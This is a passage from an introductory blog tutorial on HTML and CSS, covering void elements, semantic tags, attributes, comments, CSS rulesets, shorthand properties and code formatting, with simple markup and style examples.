In the older versions of HTML, a forward slash was also included after the tag name, which is why void elements are sometimes referred to as self-closing tags or elements.

12<br> <!-- current version of HTML --><br /> <!-- previous version of HTML -->

The latest version of HTML does not require this, but you may still see the old syntax being used. Both formats are valid but I would recommend using the most current syntax.

HTML Semantics

These different HTML elements were created for web browsers to interpret the meaning of the content, referred to as semantics. Most HTML elements have semantic meanings but there are a few that don’t.

For example, the header element is used to group introductory page content such as an h1 tag, which is used to define the main heading on the page. But the div and span elements do not have any specific meanings and are usually used to group or wrap content for CSS styling purposes only.

123456789<div class="content-wrap">  <header>    <h1>Main heading</h1>    <p>This is an introductory paragraph.</p>  </header>  <footer>    <p>Contains final content related to the page.</p>  </footer></div>

Writing semantic HTML is basically you communicating with the browser.

HTML Attributes

Sometimes you’ll need to add some extra information to an HTML element. You can do so by adding an attribute. For example, the href attribute is used to add a URL to a link tag (a). Adding this information will actually take you to another web page or website when you select the link. Without it, the link will go nowhere.

12<a href="<https://christinatruong.com>">My Website!</a><a>Link goes nowhere without the "href" attribute</a>

Attributes can also be used to change the behaviour of an element. For example, to make a form field a required field, add a required attribute to the element. The user will not be able to submit the form until they fill out all the required inputs.

123<element attribute></element><element attribute="value"></element><element attribute='value'></element>

When using multiple attributes, order doesn’t matter but each attribute should be separated by a space. In the following example, the  tag includes a src attribute, used to link to the image file, and an alt attribute, used to describe the image.

1<img src="image.png" alt="description of image">

HTML Comments

HTML comments can be used to leave notes for yourself or for others, which can be useful when working on a team or on an open source project. Comments are also often used for hiding code for later use, for debugging and to organize the document.

To write a comment, start with a left angled bracket, followed by an exclamation mark and two dashes. Then close the comment with two more dashes and the right angled bracket. Any characters can be included as a comment as long as it remains within the opening and closing syntax.

1234567<!-- Comments are included here. --><!-- ****** Another comment with text and symbols. ***** --><!--  Here's a multi-line comment.  I can write anything here as  long as I close the comment.-->

By following this syntax, the comment will only be seen in the source code and will not be displayed in the browser.

There’s a lot more to learn about HTML and I hope to focus more on specific concepts throughout this series but that pretty much sums up the general HTML concepts and common terminology.

CSS Overview

CSS stands for Cascading Style Sheet and was created to separate content from presentation. HTML elements are used to define the meaning of the content to the browser. CSS is used to determine how the elements will look by defining the colours, size, positioning of the element, and much more.

CSS Ruleset Syntax and Terminology

Styles are defined using a CSS ruleset, which is made up of various components.

123selector {  property: value;}
  • Selectors are used to select the HTML elements to apply the styles to.
  • declaration block is everything within and including the curly braces {} and is used to group together all the declarations for that selector.
  • declaration is the actual style rule, which is written using a property and value, separated by a colon (:). Each declaration must also end with a semi-colon (;) to indicate that the instruction is complete.
  • A CSS property defines which style is applied to the element.
  • Values are specific to and define the characteristics of that property.

So in the following example, body is the selector, width is the property, and 100% is the value.

123body {  width: 100%;}

Shorthand and longhand syntax

Many, but not all, CSS property values can be defined using a longhand or shorthand syntax.

When using shorthand, multiple longhand properties can be set using just one corresponding property. This is generally more efficient because you’ll end up writing less CSS overall. And it’s best to write just what you need.

12345678/* shorthand */padding: 20px; /* longhand */padding-top: 20px;padding-right: 20px;padding-bottom: 20px;padding-left: 20px;

But! There are always exceptions to the rule and sometimes using the longhand syntax is the better choice, especially when you want to define a more specific style.

For example, just using the padding property with at value of 20px will apply this style to all four sides of the element. This is more efficient than using the longhand syntax, which would require four declarations. But if you only wanted to add some padding to the top of the element, then using the one longhand property, padding-top, would also be appropriate.

CSS basics padding

CSS Comments

Comments can also be written in CSS. And just like HTML comments, it’s used to help us read our code better. Start with a slash and asterisk (/*) and close the comment in the opposite order (*/). Any characters can be included as a comment as long as it remains within the opening and closing syntax.

123456789101112/* This is a comment on one line */ /*    This is a comment   over two lines.*/ /* --------------------------------------This is a comment using dashes to create visual separation. It is often used for organizing code in the CSS file.-----------------------------------------*/

Use it to leave notes, or for organizing your code blocks, or to hide a line or block of CSS. This technique is used for debugging and testing by temporarily hiding different declarations from the browser, without actually deleting the code. To uncomment the code, delete the slash and asterisk surrounding the declarations.

1234567891011header {  /* height: 200px; */  width: 400px;} /* h1 {  font-size: 16px;  color: red;}*/

Formatting and whitespace

Just like HTML, whitespace, line breaks and indentation are used to format CSS for readability. A common formatting convention is to write each declaration on its own line and indented with one tab key space, to make the groupings easier to see.

123456789body {  background: lightblue;  font-size: 12px;}h1 {  color: blue;  font-size: 25px;  font-weight: normal;}

A white space between the property and value is not required but can also be added for readability.

123/* both are valid */padding:20px 10px;padding: 20px 10px;

Often, when white space is required in a value, it’s used to separate multiple values used with a single property.

1234567/* both are valid */padding:20px 10px;padding: 20px 10px; /* both are not valid */padding: 20px10px;padding:20px10px;

After gaining some experience writing CSS, you’ll probably start to notice that everybody has a personal preference for how they format their code. You’ll likely develop your own style too. Just try to be consistent and use an organizational style that makes sense to you. I’ve included some extra resources at the end of the post.

The post Introduction to HTML and CSS appeared first on VVDesigns.]]>
https://vvdesigns.in/introduction-to-html-and-css/feed/ 0 2656